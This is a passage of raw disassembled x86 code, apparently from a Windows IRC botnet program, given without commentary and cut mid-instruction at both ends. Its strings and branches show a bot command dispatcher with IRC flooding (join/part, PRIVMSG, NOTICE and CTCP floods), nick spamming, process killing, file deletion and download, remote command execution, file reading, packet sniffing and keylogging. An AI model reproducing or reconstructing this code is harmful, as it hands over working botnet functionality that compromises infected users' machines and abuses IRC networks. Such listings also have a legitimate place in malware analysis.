[ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 26709C5h push eax push offset unk_42B56C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE nop call near ptr 26808EFh push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B504 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 nop call near ptr 26808EFh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B464 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B44C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF nop call near ptr 26808EFh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B424 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B34C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B24C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B21C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 26709C5h push eax push offset dword_42B1E0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B178 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B150 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B120 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h call near ptr 2670000h nop jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 26709C5h push eax push offset unk_42B0E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B074 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B04C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B020 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call near ptr 2670096h nop imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B call near ptr 26709C5h nop push eax push offset dword_42AFEC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF48 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF1C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AEFC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AED8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_C58] imul ecx, 